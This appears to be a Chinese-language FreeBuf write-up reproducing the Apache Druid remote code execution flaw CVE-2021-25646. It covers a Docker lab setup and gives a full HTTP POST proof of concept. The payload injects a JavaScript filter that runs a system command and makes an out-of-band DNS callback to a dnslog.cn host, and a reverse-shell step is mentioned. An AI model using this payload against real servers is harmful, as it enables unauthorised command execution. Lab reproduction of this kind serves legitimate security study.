Druid 远程代码执行漏洞 CVE-2021-25646 – 作者:quanpangshu

环境搭建:

下载环境

wget https://github.com/apache/druid/archive/druid-0.20.0.zip

解压

1613574667_602d320b56bf0476cd65b.png!small

进入docker目录进行部署

Cd distribution/docker/

Docker-compose up -d

1613574673_602d32115e91afa16568c.png!small

查看部署情况

Docker ps

1613574678_602d3216bf2bf44f178d3.png!small

访问目标

http:192.168.48.177:8081

1613574683_602d321bc38fdd70f3ee8.png!small

http:192.168.48.177:8888

1613574688_602d32206a91522c7f1c1.png!small

漏洞复现

poc:

| POST /druid/indexer/v1/sampler HTTP/1.1

Host: 192.168.48.177:8888

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0

Accept: application/json, text/plain, */*

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Content-Type: application/json

Content-Length: 998

Connection: close{“type”: “index”, “spec”: {“ioConfig”: {“type”: “index”, “inputSource”: {“type”: “inline”, “data”: “{\”isRobot\”:true,\”channel\”:\”#x\”,\”timestamp\”:\”2021-2-1T14:12:24.050Z\”,\”flags\”:\”x\”,\”isUnpatrolled\”:false,\”page\”:\”1\”,\”diffUrl\”:\”https://xxx.com\”,\”added\”:1,\”comment\”:\”Botskapande Indonesien omdirigering\”,\”commentLength\”:35,\”isNew\”:true,\”isMinor\”:false,\”delta\”:31,\”isAnonymous\”:true,\”user\”:\”Lsjbot\”,\”deltaBucket\”:0,\”deleted\”:0,\”namespace\”:\”Main\”}”}, “inputFormat”: {“type”: “json”, “keepNullColumns”: true}}, “dataSchema”: {“dataSource”: “sample”, “timestampSpec”: {“column”: “timestamp”, “format”: “iso”}, “dimensionsSpec”: {}, “transformSpec”: {“transforms”: [], “filter”: {“type”: “javascript”, “dimension”: “added”, “function”: “function(value) {java.lang.Runtime.getRuntime().exec(‘ping -c 4 91ps7j.dnslog.cn’)}”, “”: {“enabled”: true}}}}, “type”: “index”, “tuningConfig”: {“type”: “index”}}, “samplerConfig”: {“numRows”: 500, “timeoutMs”: 15000}} |

通过dnslog接收消息,证明漏洞存在

1613574696_602d3228a03e2e3ad6f21.png!small

反弹shell:

1613574703_602d322fd39b701b091ed.png!small

来源:freebuf.com 2021-02-17 23:14:24 by: quanpangshu

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论